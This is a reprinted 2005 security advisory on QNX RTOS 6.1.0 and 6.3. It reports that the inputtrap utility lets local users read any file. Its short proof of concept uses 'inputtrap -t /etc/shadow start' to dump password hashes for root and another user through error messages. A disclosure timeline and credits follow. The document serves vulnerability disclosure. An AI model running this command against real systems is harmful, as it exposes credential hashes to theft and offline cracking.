|
|
| |
"QNX Neutrino realtime operating system (RTOS) sets the industry standard for reliability, fault tolerance, and scalability."
"inputtrap - Detect input devices and start the input manager."
Lack of proper permission checking allows local attackers to retrieve information from files used by inputtrap. |
| |
Credit:
The information has been provided by Julio Cesar Fort.
The original article can be found at: http://www.rfdslabs.com.br/advisories/qnx-advs-01-2005.txt
|
| |
Vulnerable Systems:
* QNX RTOS version 6.3
* QNX RTOS version 6.1.0
Due to improper permissions checking, inputtrap allows administrative access to files anywhere in the disk.
Proof of Concept:
$ inputtrap -t /etc/shadow start
options: Unable to lookup root:21QjUKxP9gEJK:0:0:0 in modules table
options: Unable to lookup sandimas:91UzHxvt3x1n2:0:0:0 in modules table
Disclosure Timeline:
22 Feb 2005: Vulnerability detected
09 Jun 2005: Advisory sent to QNX;
10 Jun 2005: QNX contacted rfdslabs;
24 Aug 2005: Advisory sent to security mailing lists.
|
|
|
|
|
|
|
|
